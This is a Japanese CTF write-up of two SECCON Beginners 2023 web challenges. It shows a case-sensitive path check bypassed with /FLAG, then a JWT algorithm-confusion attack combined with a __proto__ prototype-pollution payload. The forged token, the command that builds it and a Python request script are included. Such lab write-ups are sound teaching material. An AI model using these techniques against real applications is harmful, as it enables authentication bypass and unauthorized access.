SECCON Beginners CTF 2023 - writeup
皆さんこんにちは、calloc134です。
今回はSECCON Beginners CTF 2023に参加しました。
出場はチームで行いました。今回はRWPLというチームに誘っていただきました。
自分はWeb問題を二問解いたので、そのお土産のご報告です。
解いた問題は、forbiddenとdouble checkです。
ちなみに一つ目のforbiddenは自分が一番乗りだったみたいです。わーい
forbidden
アクセスすると、以下のような画面が表示されます。
フラグにアクセスしてみますが、403 Forbiddenが返ってきます。
該当のソースコードは以下のようになっています。
const block = (req, res, next) => {
if (req.path.includes('/flag')) {
return res.send(403, 'Forbidden :(');
}
next();
}
app.get("/flag", block, (req, res, next) => {
return res.send(FLAG);
});
/flag
が含まれている場合、403 Forbiddenを返しています。
したがって、大文字で/FLAG
を指定することで、フラグを取得することができます。
すぐできました。
そのあとの通話で、メンバーに一番乗りを驚かれました。(苦笑
double check
アクセスしてもどのパスにどのような仕掛けがあるのかわからないため、ソースコードをダウンロードします。
すると、ソースコードに公開鍵が含まれていることがわかります。
この公開鍵は、JWTの署名に使われているようです。
let signed;
try {
signed = jwt.sign(
_.omit(user, ["password"]),
readKeyFromFile("keys/private.key"),
{ algorithm: "RS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
readKeyFromFile("keys/public.key"),
{ algorithms: ["RS256", "HS256"] }
);
} catch (err) {
console.error(err);
res.status(401).json({ error: "Invalid Token" });
return;
}
ここで、署名検証時にHS256アルゴリズムを許可しているところが怪しいことがわかります。
HS256アルゴリズムは、ある共通の鍵を使って署名を行うアルゴリズムです。そのため、公開鍵が公開されていてかつHS256認証が使われている場合、公開鍵を使って署名を行うことができます。
では、一旦バックエンドの処理がどのように行われているか確認します。
解説のため、一部の処理を省略しています。
app.post("/register", (req, res) => {
const { username, password } = req.body;
// パラメータが存在するかを検証する処理を省略
const user = {
username: username,
password: password
};
if (username === "admin" && password === getAdminPassword()) {
user.admin = true;
}
req.session.user = user;
ここの部分は、ユーザー名がadminでパスワードがgetAdminPassword()の戻り値と一致する場合、userオブジェクトのadminフィールドにtrueを設定しています。
let signed;
try {
signed = jwt.sign(
_.omit(user, ["password"]),
readKeyFromFile("keys/private.key"),
{ algorithm: "RS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", signed);
res.json({ message: "ok" });
});
ここでは、先ほどのuserオブジェクトからpasswordフィールドを削除した後、JWTのペイロードにuserオブジェクトを設定しています。
こうして、ユーザがadminである場合には、JWTのペイロードにadminフィールドが設定されることになります。
では、次にユーザ検証処理です。
app.post("/flag", (req, res) => {
// Authヘッダが存在するかの検証ならびにセッションにユーザが存在するかの検証を省略
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
readKeyFromFile("keys/public.key"),
{ algorithms: ["RS256", "HS256"] }
);
} catch (err) {
console.error(err);
res.status(401).json({ error: "Invalid Token" });
return;
}
ここでは、JWTの検証を行っています。
署名方法はRS256とHS256のどちらかを許可しています。
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
verified = _.omit(verified, ["admin"]);
}
const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);
if (token.admin && user.admin) {
res.send(`Congratulations! Here"s your flag: ${FLAG}`);
return;
}
ここでは、もう一度ユーザ検証を行っています。
これを行うことで、仮にJWTペイロードに手違いでadminフィールドが設定されていた場合でも、ユーザがadminであるかどうかを検証することができます。
検証後、改めてadminフラグが設定されている場合には、フラグを返しています。
では、攻撃方法です。
この攻撃では、以下のような二種類の攻撃手法を合わせて攻撃していきます。
- HS256攻撃によるJWTペイロードの改竄
- JSのプロトタイプ汚染によるフィールドの改竄
まず、HS256アタックによるJWTペイロードの改竄です。
HS256攻撃では、本来秘密鍵が存在しないと署名できないRS256アルゴリズムを利用したJWT検証において、アルゴリズムにHS256が許可されているときに、公開鍵のみで署名をして有効なJWTを作成し、任意のペイロードを設定できる攻撃のことです。
この攻撃を行うことで、JWTのペイロードを任意に改造したものを作成することができます。
次に、JSのプロトタイプ汚染によるフィールドの改竄です。
JSのプロトタイプ汚染とは、JSのプロトタイプチェーンを利用して、任意のオブジェクトに任意のフィールドを追加する攻撃のことです。
今回の攻撃でなぜプロトタイプ汚染攻撃が必要かというと、通常のadminフィールドを改竄するだけでは、ユーザがadminであるかどうかを検証する処理でまたadminフィールドが削除されてしまうためです。
では、攻撃コードです。
まずは悪意のあるJWTを生成します。
JWTの生成には以下のスクリプトを使用しました。
CyberChefで作成しようと思ったのですが、そのサイト自体もJSで動いており、プロトタイプ汚染攻撃を行うと、CyberChef自体が動かなくなってしまうため諦めました。
まず先ほどのソースコードに付随する公開鍵を上記スクリプトと同じディレクトリに配置します。
続いて、以下のコマンドを実行します。
環境はWSLのUbuntu 22.04です。
python3 RS256_2_HS256_JWT.py '{"username":"admin","iat":1103354300000000,"exp":1103354300000000, "__proto__":{"admi
n":"hoge"}}' public.key > out.txt
ここで、ペイロードの時間を長くしているのは、有効期限切れを防ぐための利便性向上目的です。
その後、アウトプットされたファイルより、生成されたJWTを取り出します。
これをサーバに送信します。
以下はPythonのコードです。
import requests
ses = requests.session()
data = {
"username": "hoge",
"password": "fuga",
}
ses.post("https://double-check.beginners.seccon.games/register", json=data)
key = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxMTAzMzU0MzAwMDAwMDAwLCJleHAiOjExMDMzNTQzMDAwMDAwMDAsIl9fcHJvdG9fXyI6eyJhZG1pbiI6ImhvZ2UifX0.qK5etXBQOeq_Nv9DsBbO0q8PY4EIfJZvMr3yOE3bNww"
headers = {
"Authorization": key,
}
res = ses.post("https://double-check.beginners.seccon.games/flag", headers=headers)
print(res.text)
これを実行すると、フラグが入手できます。
以上のような考え方で解くことができますが、実際はこんなにスムーズではなく、何度もJWTを疑ってみたりはしたものの、別の攻撃手法を試したりの繰り返しで、最終的にかなりの時間を費やしてしまいました。
思考の流れとしては、
- JWTのHS256が有効になっている点を怪しく思う
- しばらく試してみたが、自分が慣れていない点もあって無理なのかと思う
- 頭を切り替えてロジック部分の脆弱性を考える
- Object.assignあたりが怪しいか?と三時間ほど考えたが、上手くいかない
- しばらく離脱
- 同チームの人が、JWTのHS256攻撃が有効であることを指摘
- オブジェクトのプロトタイプ汚染によるフィールドの改竄を試す
- CyberChefでやろうとするも、CyberChef自体がプロトタイプ汚染攻撃により動かなくなるため代替手段を探す。三十分ほど費やす
- プロトタイプ汚染で攻撃、フラグを取得
と、JWTの扱いに不慣れであったためにかなり手こずってしまいました。
しかし、これだけ考えたのもあって、プロトタイプ汚染ペイロードを投げる前には、この攻撃は通るだろうといった確信がありました。
おわりに
初めてのSECCON Beginners CTFでしたが、とても楽しかったです。
二問解け、一問はMediumレベルであったため、結構うれしかったです。
これからも、CTFに積極的に参加していきたいと思います。
Discussion